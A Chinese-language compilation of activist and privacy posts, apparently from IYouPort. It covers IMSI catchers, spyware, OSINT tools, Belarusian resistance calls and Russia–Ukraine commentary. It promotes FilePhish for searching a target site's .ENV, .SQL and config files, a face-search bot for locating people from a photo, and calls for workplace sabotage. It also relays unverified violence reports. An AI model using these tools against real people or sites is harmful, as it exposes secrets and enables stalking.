同样重要的是要注意，黄貂鱼类型的监视设备最常见的用途不是截获通信或切断通信。相反，它是对位置的三角测量或记录人们在某个地点的存在，如抗议活动中的监控。这是通过从设备到IMSI捕手的 “ping” 来操作的，IMSI捕手假装成信号塔。于是无论使用何种蜂窝协议，这一过程仍在发挥作用。

所以，一方面，本帖开头的新闻是一个好消息，它可以使数百万美元的警察监控设备变得过时；但是，另一方面，警察多年来一直在追求更新的技术监控，所以我们仍然应该关注这个问题。

EFF对这些新一代IMSI捕手做了一些出色的研究，他们发布了一个名为 Crocodile Hunter 的检测工具。您可以在下面的链接中了解一些基本信息、已经进行的研究和检测工具的代码。

https://www.eff.org/wp/gotta-catch-em-all-understanding-how-imsi-catchers-exploit-cell-networks

https://techcrunch.com/2020/08/05/crocodile-hunter-4g-stingray-cell/

https://github.com/EFForg/crocodilehunter

1. stingrays #Security #selfdefence #tools

住房是一项权利 ——

「图」

我们是一群来自不同国家的人，为每个人争取有尊严和安全的住房的权利而奋斗。我们目前占据了加莱市许多地方的一些建筑物，这些建筑物一直被空置和浪费着，而无家可归者睡在大街上。占领已经超过 48 小时。

我们占据这些被闲置的空间，希望打破国家和警察的暴力和非人化的恶性循环，这种恶性循环在加来和世界各地都持续存在着。我们的目标是创造一个没有国家暴力和歧视的开放空间，让一个人的行政地位不会影响他们满足基本需求、体验团结和有尊严地生活的能力。

在加莱，约有 1500 人流落街头，生活条件令人无法接受。流离失所者占据空地，获得基本生存需求的机会非常有限：住宿、卫生、水、食物和医疗，基本都没有。国家进行每 48 小时的非法驱逐、警察盗窃个人物品、在剥夺辩护权利的情况下非法拆除、经常发生警察暴力行为。

此外，国家系统性地阻碍协会的工作：定期检查身份和搜查车辆、恐吓、用大石头堵住物资分发点，还颁布了禁止分发食品的市县级法令。团结在边境的人们的工作承受着巨大的压力，以至于住房斗争不得不被搁置。

我们需要记得，住房是一项基本权利，如果没有可执行的法院裁决，就不能驱逐我们居住的空间。我们要求结束加莱的所有驱逐，特别是那些肆无忌惮的驱逐。我们要求城市中的所有占领活动正规化。我们要求警察停止骚扰被困在边境的人们以及支持他们的人。最后，我们要求立即征用加莱的所有空置建筑物，并为所有居民提供一致和持久的解决方案，无论他们的行政地位或脆弱性如何。

我们要求每一个声援无家可归者的人和被困在边境的人们，每一个相信住房是人权的人，来帮助我们保卫我们正在占领的建筑物！

两份声明：

https://enoughisenough14.org/2022/02/09/communique-from-calais-housing-for-all-statement-we-will-not-let-ourselves-be-taken-

awaycalais-france/

1. Calais #France #Resistance

Emotional: How Feelings Shape Our Thinking

「图」

情感：感觉如何塑造我们的思维——

「图」

人们常会给予理性过高的评价，认为它是人类有别于其他动物的标志，甚至是男性优越于女性的理由。总是有大量的书籍或文章探讨理性与知识的重要性，却常忽视情感、感觉、情绪这些因素同样不可估量的影响力，它们往往会在人类的决策中起到重要的驱动和保护作用。

《费曼的彩虹》作者 Leonard Mlodinow 的这部新书正是要提醒人们重新关注这一论点。

他认为，“冷酷” 的逻辑和 “热烈” 的激情的二分法与性别刻板印象一样具有误导性，事实上，人的感受时常会在无意识中引导其思想。

书中以物理学家 Paul Dirac 为例，他深信知识需要与直觉、疯狂的预感和非理性的毅力相结合，而导向成功的秘诀首先是一个人的情感。

这本书通过进化生物学、神经科学、心理学等领域的前沿研究以及众多生动的案例帮助读者理解情感，展示了情感怎样为我们的生存提供必要的帮助，如何更好地与他人联系？如何理解自己的沮丧、恐惧和焦虑？我们为何会受到伤害？又该如何及时做出改变。

下载：https://t.me/iyouport/9361

下载：https://www.patreon.com/posts/qing-gan-gan-jue-61707463

种子 magnet:?xt＝urn:btih:F82081F89B6E377B1F6225A331FBB9E2A3197C74

不用 **JavaScript** 使用 **Twitter——**

「图」

这个名为 Nitter 的 Twitter 的替代品对于那些关心隐私的人来说是很好的。不需要授权。

- 没有 JavaScript，没有定位跟踪的广告。

- 所有请求都要经过服务器端，客户端不与Twitter通信。

- 防止 Twitter 追踪您的IP地址或 JavaScript指纹。

https://nitter.net/search

《Cyber Forensics: Examining Emerging and Hybrid Technologies》

「图」

网络取证——

「图」

威胁者，无论是网络罪犯、恐怖分子、黑客活动家还是心怀不满的员工，都在采用复杂的攻击技术和反取证工具来掩盖他们的攻击和违规企图。随着新兴技术和混合技术继续影响日常商业决策，主动使用网络取证来更好地评估自己的风险面，正迅速成为一个战略性的商业目标—— 对抗性思考方式。

这本书超越了讨论网络取证过程和程序的典型技术方法。相反，作者研究了网络取证如何应用于识别、收集和检查来自新兴和混合技术的证据数据，同时采取措施积极主动地管理这些技术的影响和冲击，包括政策和治理方面，以及它们对业务运营的影响。

一个由网络取证研究人员、调查人员、从业人员和执法专业人员组成的世界级团队聚集在一起，为读者提供了关于主动应用网络取证方法和程序的见解和建议，以保护数据并识别与恶意行为有关的数字证据。

这本书还可以作为本科和研究生学术课程的主要或补充文本，涉及信息、操作和新兴技术、网络取证、网络、云计算和网络安全。

下载：https://t.me/iyouport/9365

下载：https://www.patreon.com/posts/wang-luo-qu-62151086

图1

图2

转帖——

「图」

图1是两年前的书，当时正值996后不久，于是这本书在中文界也引起了一个小范围的反响。

图2是目前为止，中文圈能看到的，最为接近看清*系统*的观点。

图1这本书的论述和图2的思路有点像，而此书最终的结论仍然止步于系统的边缘。

这是一个缺陷。却也是一个非常容易弥补的缺陷—— 只要您认识到，铁链并非总是有形的。

“系统”并不是一个有名字的东西，那些能叫得出名字的，都是系统的表现形式。

系统是一个控制体系，一种被有意识地构建、建造、测试、磨练和完善的架构。

换句话说，资本主义（等级制、鱿鱼游戏、奴隶制）、种族主义（集中营等等）、阶级歧视（低端人口）、父权制（厌女）、拐卖人口、“生职器”、不平等、相亲热（社恐）……政府、集中化、粉丝经济、卡特尔 …等等等等，都是*系统*的衍生物 / 表现形式。

上述所有这些领域分别都有各自的抵抗运动，如您所知，但大多数人称其为“不同的”运动，以至于它们中能将其他运动视为战友的，极为罕见。这是一种主动的分化。

这正是为什么要强调系统—即 将所有这些运动的战略凝聚在一起，践行*横向*原则，令人们认识到 directaction 才是解决方案。

这就是IYP的情人节文章的实际意思，它只是试图通过一个更为“接地

气”的叙述方式，以期待让更多人能看懂，并提出了一个几乎所有人都有希望做到的行动方案 —— 找到战略共识，即 “问对问题”。战略共识就是进入行动的基础。

自动跟踪天上飞过的飞机——

「图」

为机器学习应用建立图像数据集可能又慢又昂贵。SkyScan 展示了一个低成本的系统，它使用传感器来自动建立适合计算机视觉模型的数据集。

SkyScan使用一个基于地面的相机和软件定义的无线电来捕捉商业飞机的图像和身份信息。可在树莓派上运行，所有的设备都是低功耗的，允许系统在便携式电池下运行数个小时。

为了能够更好地追踪，大多数飞机都会广播一种被称为ADS-B的信号。该信号的频率为1090MHz，可以使用低成本的软件定义的无线电（SDR）轻松接收，如RTL-SDR。

从ADS-B传输中，您可以得到飞机的位置和高度。如果您知道飞机在哪里，您自己在哪里，就可以做一些计算，用相机对准飞机，然后拍照。如果您身边有一台Pan/Tilt摄像机，可以让它在飞机飞过时自动跟踪它并拍下照片。

在收集了数据集后，可以训练一个模型，利用标记的飞机数据建立一个飞机检测器和分类器。

1. lowtech #surveillance

https://github.com/IQTLabs/SkyScan

中国的 TikTok 与苹果的 Siri 合作，后者刚刚被抓获在未经许可的情况下录制用户互动 ——

「图」

苹果对中国市场的坚定承诺—— 往往以牺牲其在国内的形象和地位为代价，因为这家美国巨头并不回避与中国当局合作，遵守一些有问题的互联网规则—— 似乎正在结出越来越多的（金钱）果实。

大获成功的应用程序 TikTok 背后的中国巨头字节跳动已经选择了苹果及其 Siri 作为合作伙伴，为 TikTok 在中国市场的 “抖音” 提供语音搜索。

TikTok和抖音的区别在于，后者是为国内市场定制的，其服务器位于中国，并受中国法律管辖。去年，字节跳动的这两个产品成为最大的网络流量来源，击败了亚马逊、谷歌和 Netflix。

那么当谈到与苹果的合作时，字节跳动有什么好处呢？据中国媒体报道，该公司表示整合语音搜索将 “增加抖音用户的易用性”。

在周二发布的公告中，字节跳动表示，此举是 “优化用户体验” 的下一步举措。“我们希望通过合作实现的新的语音搜索功能将使我们的用户的搜索体验比以往更容易”，该公司的一位发言人说。

2021年的数据显示，5.5亿抖音月度活跃用户已经在利用 “抖音搜索” 在平台上寻找视频，现在加入Siri预计将再带来5000万的用户。

苹果的语音助手目前安装在全球5亿台设备上。苹果还在提供为中国市场定制的 Siri 唤醒指令。

苹果与字节跳动建立合作关系的原因并不神秘，字节跳动仅在中国就拥有超过5亿的月度活跃用户，而 iPhone 在中国设备市场的份额仅有23%—— 将Siri纳入抖音有望帮助销售更多 iPhone。

就像苹果公司在世界其他地方所做的那样，他们正试图在中国扮演 “隐私和安全最友好的大型科技巨头” 的角色，尽管并不清楚如何做到这一点，如果这家美国公司为了留在市场上而必须遵守中国政府严格的在线监管政策，这往往会导致审查和监控。

这一合作关系的消息传来时，正值苹果公司的Siri被曝光未经允许就储存了用户与Siri的互动。

苹果已经推送了iOS 15的更新，以修复该巨头所说的一个bug，即 允许其一些设备记录、存储和审查用户与Siri的互动，而用户并没有选择加入。

这个错误允许苹果通过自动打开 “改进Siri和听写” 的设置来获取这些数据—— 即使是那些之前选择不参与的用户。

苹果花了好几个版本才真正摆脱了这个漏洞：报告称，该公司首先在 iOS 15.2 版本中关闭了未定义数量的用户的设置（苹果使用的措辞是

“许多”），直到最新的 15.4 beta 2 更新才彻底修复了这个漏洞。

根据苹果公司为 ZDNet 发表的声明，它声称该漏洞影响了 “少数设备”，是在 “不经意间” 启用的该设置。

该公司还承诺，在此期间，由于该bug而收获的所有Siri录音已经被删除，并指出在此之前，对这些数据的审查也已经停止—— 这透露出以这种方式泄露的用户互动已经成为审查的对象。

那些更新自己的苹果设备的人现在可以被提示允许打开改进的 Siri & Dictation—— 但报告指出，当涉及到它处理这个错误的方式时，苹果在透明度和紧迫性方面做得不够。这只是一系列事件之一而已，它们都以这种或那种方式破坏了该科技巨头作为其用户隐私 “最坚定的促进者” 的公关戏码。

也就是说，用户没有被明确告知这个bug，也没有被告知要更新手机，以确保他们尽快拥有安全版本的操作系统。苹果公司也没有分享受影响设备的确切数量，在这些设备中，用户的Siri互动被违背意愿地记录下来，该公司也没有分享该漏洞活跃的时间跨度。

由于苹果公司在处理Siri收集的数据方面已经有了破坏隐私的历史，因此这种问题缺乏透明度就显得特别麻烦。

据报道，2019年，该公司不得不为其让承包商监听客户与Siri交谈的录音这一行为而道歉。

https://reclaimthenet.org/chinas-tiktok-partners-with-apples-siri/

监视技术又升级了：您的显卡被用于跟踪您在网络上的动作——

「图」

计算机研究人员发现了一种新的、实验性的方法—— 利用从您的计算机图形处理单元中提取的信息在互联网上追踪您。

在最近的一篇论文中，来自以色列、澳大利亚和法国大学的研究人员公布了一种独特的设备 “指纹” 战略，该战略利用每个用户的GPU堆栈的属性来创建独特的、可追踪的档案。

对于那些不知道这是什么东西的人来说，指纹识别是网络跟踪的一种

形式—— 无处不在的跟踪做法，公司和第三方据此监测消费者，他们声称据此改善所谓的“客户体验”，是的，以便向您推销东西。您可以在这里看到详细的介绍关于他们如何做这件事的《单向镜的背后：监视资本家和政府的联手一直在如何折腾你？》。

从历史上看，大多数公司都通过 cookies 追踪用户—— 存储在您的浏览器中的微小的、可识别的文本文件。但最近，由于最近的隐私法规—— 如加州的CCPA或欧洲的GDPR—— 迫使它们成为自愿的，而不是强制性的，即“知情同意”，所以 cookies 陷入了困境。

因此，这些监视资本家已经在努力寻求替代的跟踪方法，包括浏览器和设备指纹，它使用从用户的浏览器、手机或个人电脑中收集的数据，如浏览器配置或设备规格，以创建一个可跟踪的印记。

然而，指纹识别有一个功能上的缺点，那就是它的有效时间并不长。研究人员写道：“浏览器指纹随着时间的推移而演变，这些演变最终导致一个指纹会与来自其他共享类似硬件和软件的设备的指纹相混淆。”

然而，现在研究人员推出的这个新的GPU指纹技术在很大程度上克服了这个限制。根据该研究，这个追踪系统允许“对追踪持续时间中位数的提升达到67%”，这意味着它允许比传统方法（如cookies）在更长的时间段内进行更一致的追踪。

所有这些工作的具体细节有点复杂，但基本上，这个追踪战略涉及收集设备的GPU使用WebGL解决某些视觉元素所需时间的信息，WebGL是一种图形渲染API，存在于所有现代网络浏览器中。研究人员说，相同的GPU之间也存在轻微的制造差异，通过观察它与WebGL的互动情况，可以观察到其中的差异。研究人员最终将这些GPU信息和其他设备数据输入一个算法中，然后让他们创建一个“可靠和强大的设备签名”，他们说这可以用来在网络上追踪设备的用户。

研究人员在具有1605种不同CPU配置的2550台设备上测试了他们的追踪系统，发现它能可靠地产生他们所寻找的令人毛骨悚然的追踪定位结果。研究人员写道：“我们的技术在个人电脑和移动设备上都运行良好，具有实用的离线和在线运行时间，并且不需要访问任何额外的传感器，如麦克风、摄像头或陀螺仪。”

研究人员在2020年向一些相关公司披露了他们的研究结果，包括谷歌、Brave 和 Mozilla，他们在继续向这些公司通报他们的研究情况。

论文； https://arxiv.org/pdf/2201.09956.pdf

一系列匿名文件传输服务——

「图」

如果您需要匿名发送文件，可以使用以下匿名文件共享服务之一：

• anonymousfiles.io

• anonfiles.com

• filedropper.com

• privatlab.com

• dropmefiles.com

• wetransfer.com

• onionshare.org

有用的文件托管:

SendGB.com—最多 4 GB，7 天;

Volafile.org—最多 20 GB，2 天;

Openload.co—1–10 GB，60 天;

Uploadfiles.io—最大 5 GB，30 天;

Gofile.io—无限量，60 天.

1. Security #files

我们曾经介绍过很多搜索谷歌的方法，尤其是 Google dorks，对开发者、公民调查和黑客都非常重要。比如，见这里：《GoogleDorking 高级运算符完整列表》。

但是，如果您是新手，也许很难一下子掌握其要领。即便把基本运算符全背下来也不一定就能够顺利设置一个恰当的和高明的 dorks。

幸运的是，现在有一个很简单的方法，帮助初学者轻而易举地做到使用 dorks 挖掘信息而不需要掌握其技能。

FilePhish 这个工具是一个简单的 Google 查询生成器，用于快速轻松地搜寻文档文件。您不需要使用 dorks 句式，只需输入目标网站的 url 和关键字，剩下的工作就交给 FilePhish 好啦。

默认情况下，FilePhish 将使用您输入的站点名称和关键字打开一个新选项卡，支持的文件类型包括 .PDF .DOCX .DOC .CSV .XLSX .TXT .RTF .ODT .PPTX .PPTM .PPT .XML

通过在 “更多文件类型” 选项下选择 “数据库或软件”，它将可以分别搜索 .PHP .SQL .SQLITE .PDB .IDB .CDB .SIS .ODB 和 .ENV .CFG .CONF .CONFIG .CFM .LOG .INF 文件

FilePhish 目前适用于 Safari、Google Chrome 和 Mozilla Firefox 浏览器。

链接：https://cartographia.github.io/FilePhish/

Centre for Information Resilience 创建了一张地图，其中包含有关俄罗斯沿乌克兰边境的军事行动的开源信息。

该地图托管在 MapHub 上，每个条目都带有时间戳，并包含有关其来源的信息。

如果您正在关注局势，也许这个地图会有些帮助。

1. russia #Ukraine #tools

Link: https://maphub.net/Cen4infoRes/russian-ukraine-monitor

如何利用脸部照片在网上找到一个人——

「图」

有时您可能需要找到一个人，但您只有他/她的一张照片。很多人都会在谷歌或 Yandex 的 “按图片搜索” 上折腾，却不一定运气足够好。

现在有一个更好的方法。

专门针对这项任务，Telegram 有一个易于使用的机器人

@FindFaceRobot，它使用人工智能和来自社交网络的庞大人脸数据库，找到具有类似脸部轮廓的人类账户。

与其他只搜索单个社交网络的服务不同，这个机器人可以同时搜索五个平台：Vkontakte、Instagram、Odnoklassniki、TikTok，甚至Clubhouse。

如果传统的以图搜图失败了，您可以试试这个机器人。但是请注意，它是俄语的，但不会影响您的使用，因为您只需要上传您要找的人的照片就可以了，不需要跟它对话。而且如果您在手机版 telegram 上，可以在设置中的 “语言” 选项中打开 “翻译” 功能，然后长按选中文字，即可看到自动翻译的选项。

1. Bot #facialrecognition

以色列第二家间谍公司利用 iPhone 零日漏洞入侵反对派的手机——

「图」

QuaDream 是一家规模较小、暂时知名度较低的以色列间谍软件公司，但它同样为全世界的政府开发智能手机黑客工具。它是臭名昭著的NSO集团的竞争对手。

据五位消息人士称，这两家间谍软件公司去年获得了相同的远程入侵 iPhone 的能力，这意味着两家公司都可以入侵苹果手机，而无需受害者点击任何链接—— 被称为 “零点击/零交互” 攻击。

分析师认为 NSO 和 QuaDream 的漏洞利用相似，因为它们都采取了隐藏在 Apple 即时消息平台的许多相同的零日漏洞，并使用类似的方法在目标受害人设备上植入恶意软件。

公民实验室的技术分析师认为，QuaDream 的零点击攻击能力与 NSO “不相上下”。

据以色列公司记录和两名知情人士透露，QuaDream 由以色列前军事官员 Ilan Dabelstein 和两名前 NSO 雇员 Guy Geva 和 Nimrod Reznik 于 2016 年创立。

根据两份产品手册，与 NSO 的 「飞马」Pegasus 间谍软件一样，QuaDream 的旗舰产品 REIGN 可以完全控制智能手机，从

WhatsApp、Telegram 和 Signal 等加密通信服务中获取即时消息，以及电子邮件、照片、文本和联系人。

REIGN 的“Premium Collection”功能包括“实时通话录音”、前后相机激活、和 “麦克风激活”。

原文。

顺便说，这就是以色列间谍产业的工作方式—— 军方官员、8200校友系统。在这里看到具体介绍：《“只管去做，别问问题”：走进以色列利润丰厚且秘密的网络监视行业内部》。

1. OSINT #MAC 以下是一些调查MAC地址的资源：

macvendorlookup (Check MAC)

samy (Check MAC)

mac-find (Check MAC)

networkcenter (Check MAC)

wigle (Geolocation)

mac-geo (Geolocation)

Startpage 提供与谷歌相同的搜索结果，但没有任何跟踪。该搜索引擎的一个显著特点是匿名浏览功能，它允许您在没有任何痕迹的情况下访问网站。

要采取私密浏览，请点击搜索结果中所列网站旁边的面具图标。然后会打开一个新的标签页，确保在桌面和移动设备上都有一个安全的HTTPS连接。

https://startpage.com/

来自白俄罗斯反抗者的公告：

由于卢卡申科的侵略者正在彻底铲除白俄罗斯人大规模抗议集会的任何可能性，因此不排除今天可能出现互联网中断或完全关闭的情况。建议提前准备。

您可以使用Partisan SMS（或P-SMS）v2.1.0版，在断网的情况下进

行通信。

https://github.com/wrwrabbit/Partisan-SMS

1. protest #revolution #resistance #StopTheWar #russia #Ukraine

来自白俄罗斯的反抗动员 ——

「图」

所有人都可以加入反抗，随时都可以，只要您知道该怎么做。完全没有必要因尚未看到千军万马的街头壮观而沮丧，只要您能保持良知和对正义的信念，行动方案就在您的手边。

以下是来自白俄罗斯反抗运动的公告，我们相信这些建议对中国朋友同样具有重要意义——

向所有行动者致敬！白俄罗斯人，感谢大家在过去的一天里所做的一切！这是一个新的参考点。我们今天成功地做了很多事：

🔎白俄罗斯人民克服了恐惧，在沉寂一年多后第一次走上街头，再次见到了彼此。

🔎第38卫队ODSRB旅传奇旅长 Valery Sakhashchik 向军队发表公开讲话，呼吁士兵拒绝服从。

🔎白俄罗斯铁路公司的内部网络遭到网络游击队和 Supratsiou 反抗运动的攻击，服务中断。

🔎为了阻止梯队向乌克兰边境移动，BYPOL 的“Peramoga”计划阻止了铁路轨道上军事装备的移动。并且没有影响乘客的安全。

🔎散居国外的白俄罗斯人纷纷在世界各地举行抗议活动，表明白俄罗斯人民支持乌克兰人民。

🔎信息渠道仍像以往一样连贯地工作。

🔎乌克兰今天看到了我们白俄罗斯人的支持，看到了我们对战争和对派遣白俄罗斯军队参战的强烈抗议。

我们需要从现在开始保持这种势头。白俄罗斯政权违背人民的意愿，

成为战争的帮凶，我们必须继续阻止战争，防止白俄罗斯人民的死亡。

以下是对所有人的行动号召：

⚒ 1. 停止虚假信息的传播。明天来上班，不是为了工作，而是为了与你的同事交谈—— 即使是那些与你意见不一致的人。向他们解释正在进行的战争，谁是侵略者，我们的国家是如何被卷入的，以及后果是什么。所有人都可以去与身边的人交谈。

⚒ 2. 阻断交通。下午6点前下班后聚在一起，到你所在城市的火车站。没有人可以禁止你进入车站大楼。没有人可以禁止你去和其他白俄罗斯人在车站见面，用人流堵塞交通，所有汽车尽可能鸣笛。没有人可以禁止你在任何地方排长队，队伍会一直排到车站广场。

⚒ 3. 集体摸鱼。除了现场员工外，没有其他人能知道如何破坏其雇主企业或机构的工作，让设备因未知原因停止或工作减慢。如果你是内部人，加入“Workers Rukh”和“Peramog”行动计划，集体摸鱼。

⚒ 4. 停止军事行动。如果你的亲人或熟人被征召入伍，请联系他们。解释为什么这是犯罪的战争，告诉他们在乌克兰等待他们的是什么，建议他们投降并放下武器，或逃避征兵。

这仅仅是个开始。我们的任务是有计划地逐日停止帮助统治阶级维持战争的基础设施—— 包括某些企业的运作、交通系统、和通信。我们将继续与行动者协商，并一步步告诉您下一步行动的具体步骤。

#russia #Ukraine #Belarus #protest

如何在疫情期间旅行——

「图」

自2020年以来，出国旅游已成为一件麻烦事。除了必须购买机票和预订酒店外，您还必须了解进入不同国家的所有要求—— 接种疫苗和接受PCR测试。

这里有一个网站，可以帮助您的旅行计划更加容易。

covidcontrols.co 是一个用于协助疫情期间旅行的互动地图。其中的国家以红色、黄色和绿色标示；红色—国家关闭，黄色—部分开放，绿色—开放。

通过选择您想去的国家，您可以在此阅读详细的信息，看到统计数据，并了解该国的疫情情况。它最后列出了所有消息来源。通过 “Visualized by” 按钮，您可以改变地图，例如，让它显示疫苗接种的统计数据。

这个互动地图也可以帮助调查人员做研究使用。

对俄罗斯社会的分析 【1】——

「图」

很快，目前来自 “特别行动/电视/互联网上的战争” 将真正地侵入到大量俄罗斯人的日常生活中。而这将大大影响普通俄罗斯公民的实质意见，而不再仅仅是无趣的图片和情绪化的讨论。在这种情况下，俄罗斯社会将快速经历“消费制裁”分割。

那么这个分割结构是怎样的？目前这个新阶段对社会各阶级的影响分别有多大？

1. 上层社会（约占人口的**0.5%**）。这些人享受着 “环球美食”，私人厨师和农场，所有消费和资产都是美元化的，开着宾利和/或劳斯莱斯，在圣巴特和谷雪维尔度假。他们享有外国永居身份和资产，包括私人飞机等。制裁对这类人的影响—— 中低等。

2. 中上阶层（约占人口的**4.5%**）。收入/资产为卢布和美元，拥有公寓/郊区房子，开着宝马或奔驰，每年大约两次在欧洲和异国度假，只是最近不那么频繁出国旅行。制裁对这些人的影响：非常大（通货膨胀，进口成本提高，前往欧洲的旅行被关闭，“安享晚年，丰衣足食” 的前景消失）。

3. 中产阶级（约占人口的**15%**）。收入为卢布，消费主要是进口货，每年在土耳其/埃及度假，最近在克里米亚/高加索度假。制裁对这类人的影响：高（通货膨胀、经济危机、在社会阶梯上晋升的前景消失、收入急剧下降的威胁）。

4. 中下阶级（约占人口的**30%**）。所有收入都是卢布，使用消费贷款、抵押贷款，开着俄罗斯拉达或中国汽车，大概三到五年在土耳其或埃及度假一次，其余时间在俄罗斯本地的亲戚/熟人处聚会。制裁对这些人的影响：中等（通货膨胀，经济危机）。

5. 下层阶级（约占人口的**40%**）。所有食物都是自制的，所有收入都

是卢布，只有小额信贷，依靠菜园和亲戚朋友的互助网络生活，在大庄园度假或走亲戚。制裁对这些人的影响：低（更少和更差的进口相关消费）。

6. 底层社会（约占人口的**10%——** 低于贫困线的人）。依靠非网络化的零售和慈善机构生活，不可持续的收入，最低限度的维生，没有娱乐。制裁对这些人的影响：几乎没有。

总体而言，主要打击的是中上阶层。他们今天最恐慌，鉴于他们的生活方式，这是很合理的。低层的人比较平静，这也是合理的。

这只是一个很粗略的估算，也许可以帮助预测革命力量大概会来自哪个阶级（假设有的话）。

#russia #Ukraine

对俄罗斯社会的分析 【2】——

「图」

一些观察家和媒体感兴趣，关于：制裁是否会导致俄罗斯精英阶层出现裂痕？ 答案是：

1. 精英们早就已经分裂了；当知识分子们签署支持或反对战争的请愿书时，您已经能清楚地看到这一点。

2. 精英们是异质的。虽然知识分子精英的观点是公开的，但政治家和商人现在都在努力保留自己的意见，希望这能使他们“更安全”。

3. 不仅是普通公民，而且大商人也从集体战略转向了个人救赎甚至个人生存的战略。公民努力保存自己的储蓄，商人们试图猜测如何保存自己的资产。

4. 大企业，特别是国际企业的爱国选择，是强弱危机分析和2022年前瞻性资产负债表的结果。对他们来说，“祖国”这种东西将必需在能让他们可以节省更多钱的管辖范围内。

5. 大企业中的情绪接近于恐慌，这就是为什么普京在军事行动的第一天就会见了 “国内经济领袖”—— 亲自进行心理治疗。

6. 认为 “现在遭受制裁的寡头们会急于发展国内经济” 这种期望是不可能成立的。

7. 国家将不得不再次掏钱拯救精英们。

#russia #Ukraine

乌克兰卡车司机袭击任何讲俄语的司机——

「图」

说俄语的人被侮辱，被殴打，设备被损坏。普通俄罗斯人和白俄罗斯人都成了目标。根据未经证实的官方信息，最近甚至出现了谋杀事件。

清醒的乌克兰卡车司机甚至不得不写下呼吁，以阻止人民之间的暴力屠杀。

局势有点恐怖了，当地组织呼吁人们报警以保护自己。

对上面这个消息进行一些解释，如下。

目前发生的民族主义暴力声称针对所有白俄罗斯和俄罗斯普通公民，这是战争最糟糕的后遗症之一。

上图，是此前两天，一位乌克兰议员发布的悬赏帖，上面写着杀死一名俄罗斯人奖金50美元。其余奖项就不翻译了，而杀人这一条被讨论得最多。

当时其中一位发言者谈到，他的祖父参加过二战时的荷兰抵抗运动，杀死德国人被认为光荣。而如何判断某人是否是德国人，如果此人没有说德语的话，成为了一个难题。于是当时的人们想出了一个办法就是，让嫌疑人说出："achtentachtig hete kachels"，德国人无法对这句话正确发音，但荷兰人可以。

那位发言者讲完这个故事后，另一个人问："那么我们该如何描述呢？此人死于什么？"，第三个人说："死于发音不准……"。然后，所有人都沉默了。

我们没有在当天讲述这件事是因为，我们认为它太荒唐了，毕竟这是21世纪…… 然而，今天的消息所显示的悲剧，必需被认真对待和正确思考。

以下是白俄罗斯反对派政治家 **Siarhei Naumchyk** 对乌克兰战争开始后白俄罗斯人遭受到的民族主义骚扰和暴力发表的评论：

「他们很明确地写着这是针对白俄罗斯人的敌意，这是由一些乌克兰媒体和一些网络博主煽动的。敌意并不是针对卢卡申科的法西斯政权，而是具体针对白俄罗斯人民。

当乌克兰人指责白俄罗斯人“为什么不去躺在导弹发射器下阻止对乌克兰的炮击”时，他们是否明白，他们必须对所谓的LPR和DPR的亲乌克兰居民提出同样的要求？

白俄罗斯的权力已经被与顿巴斯分离主义分子一样的暴徒和卑鄙小人夺取。而且他们已经统治了28年，而不是8年。普通乌克兰人可能不理解，但政治家和记者（以及泽连斯基的顾问）必须理解。

而通过继续这种（骚扰和暴力），他们正在做着一件肮脏的事。他们根本没有侮辱到卢卡申科派—— 卢卡申科派甚至都不知道这些侮辱的存在。他们侮辱的是那些与乌克兰人有着同样的痛苦灵魂的白俄罗斯人，那些真正帮助乌克兰人对抗普京侵略的人—— 在白俄罗斯，他们冒着被捕的威胁上街抗议，在国外，他们募集资金、药品、衣服，组织支持行动 ……

荣耀属于乌克兰! 白俄罗斯万岁！」

以下是俄罗斯爱国者发布的帖子，您可以从中体察到一些俄罗斯社会当前的心理状况。类似想法在俄罗斯社会中具有代表性。以下为原文翻译，不做任何点评；并且，我们暂时认为部分观察家所预测的“俄罗斯二次解体”的可能性不大。

【注：爱国者不是或不一定是普京的支持者；普京的支持者是“爱国者”+民族主义者，那样的人即便在普京下台后，也会选举出一个普京2.0 】

——

「我想指出的是，我们现在突然感觉到了西方世界的真正力量，在历史的关键时刻显示出与欧洲文明起源的强烈基因联系—— 欧洲和美国的统治精英不仅受过良好的教育，在他们的DNA矩阵中，在他们的文化代码中，印有所有世纪的政治经验：从亚里士多德到吉卜林，从奥古斯都到鲍里斯约翰逊……

俄罗斯现在受到的全面封锁（从被封闭的天空到被取消《蝙蝠侠》的首映）是一种非常古老的做法。在那时，排斥—— 从雅典政体中放逐—— 被用作公众谴责的极端措施。但排斥有一个特点，它被认为

是一种人道的措施，而不是一种预防措施，是一种减少社会中的攻击性的措施，在当时，麻烦制造者只是被孤立了几年；同时，这个捣蛋鬼还梦想着过段时间就能回来，他的家人经常在雅典被当作人质。

这正是西方现在对俄罗斯人所做的事—— 从他们的角度来看，他们正在孤立我们，以便我们会冷静下来，思考我们自己的行为。

甚至一想到这一点，就会感到灼热的羞辱，但此刻，我国真正面临的不仅仅是一个选择，而且是一个历史性的选择—— 毫不夸张地说，我们现在正处在历史的十字路口上：俄罗斯人必须作出决定（不，不是为西方，首先是为我们自己），决定我们想成为什么文明的一部分。西方人并不特别想让我们以我们自身的条件进入欧洲第一世界，这就是为什么俄罗斯显然没有很多选择：要么建立自己的文明（就像苏联试图做的那样），但如果是这样，国家就首先需要坚实的意识形态、和（原谅我的平庸）未来的形象、以及有吸引力的发展模式；或者，第二个变体，我们将不可避免地进入中国的文明重心—— 屈从中国式的伦理规范和政治实践。奇怪的是，这种选择的引爆器是顿巴斯，糟糕的是，我们被迫面对这种选择 ……」

1. russia #Ukraine

📌 我们正在持续更新乌克兰的局势，欢迎关注我们的频道：https://t.me/iyouport

就是这样，我们下次见！

○□

—— 本系列持续更新中 ——

原文

一些简单的措施以防止您的汽车被骇客控制 - iyouport

免费书和纪录片自我保护措施-技术技巧以防身

【2020年12月2日存档】当您选购汽车的时候，除了看颜值和性能之外，还必须注意其他东西 ……

汽车黑客正在成为一个严重问题。

随着汽车与互联网的连接越来越多，每款新车型都会有新的连接，您理所当然地应该考虑到：至少，如今正在出现一种新型的劫车行为。

目前这种情况还相对罕见，但实际上已经发生了。虽然目前的方法还不能关闭汽车发动机，但无需钥匙进入您的汽车的黑客方式已经成为现实。这会威胁到您的财产。

- 《如何黑入汽车：黑客主义行动力（11）》
- 《小心你的汽车变成间谍：如何从联网汽车中删除个人隐私数据？》

无钥匙劫车并不是联网汽车的唯一问题，也不是其唯一的弱点。从好的方面来说，今天，您也许还不需要担心自己的人身安全；但明天或后天可能就需要担心了。尤其是随着黑客技术越来越复杂的发展趋势。

您的汽车可以被黑客入侵吗？

「图」

现代的 “智能” 汽车或网联汽车当然最容易受到汽车黑客的攻击。但老款汽车也是脆弱的，虽然程度不同。Andy Greenberg 决定成为汽车黑客实验的小白鼠。坐在后座上的两位黑客在 Andy 驾驶的情况下操纵了这辆汽车。

